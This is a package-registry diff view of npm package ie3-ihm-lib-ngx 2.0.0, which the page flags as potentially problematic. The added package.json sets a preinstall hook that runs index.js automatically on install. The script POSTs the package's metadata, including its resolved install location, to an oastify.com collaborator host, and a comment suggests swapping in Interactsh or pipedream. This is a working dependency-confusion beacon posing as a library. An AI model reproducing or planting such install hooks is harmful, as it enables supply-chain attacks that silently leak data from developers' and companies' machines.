ie3-ihm-lib-ngx 2.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of ie3-ihm-lib-ngx might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +38 -0
  2. package/package.json +13 -0
package/index.js ADDED
@@ -0,0 +1,38 @@
1
+ const querystring = require("querystring");
2
+ const https = require("https");
3
+ const packageJSON = require("./package.json");
4
+ const package = packageJSON.name;
5
+
6
+ const trackingData = JSON.stringify({
7
+ r: packageJSON ? packageJSON.___resolved : undefined,
8
+ v: packageJSON.version,
9
+ pjson: packageJSON,
10
+ });
11
+
12
+ var postData = querystring.stringify({
13
+ msg: trackingData,
14
+ });
15
+
16
+ var options = {
17
+ hostname: "93ajztct5s5x6dn4hhsq77h9g0mraiy7.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
18
+ port: 443,
19
+ path: "/",
20
+ method: "POST",
21
+ headers: {
22
+ "Content-Type": "application/x-www-form-urlencoded",
23
+ "Content-Length": postData.length,
24
+ },
25
+ };
26
+
27
+ var req = https.request(options, (res) => {
28
+ res.on("data", (d) => {
29
+ process.stdout.write(d);
30
+ });
31
+ });
32
+
33
+ req.on("error", (e) => {
34
+ // console.error(e);
35
+ });
36
+
37
+ req.write(postData);
38
+ req.end();
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "ie3-ihm-lib-ngx",
3
+ "version": "2.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "keywords": [],
11
+ "author": "",
12
+ "license": "ISC"
13
+ }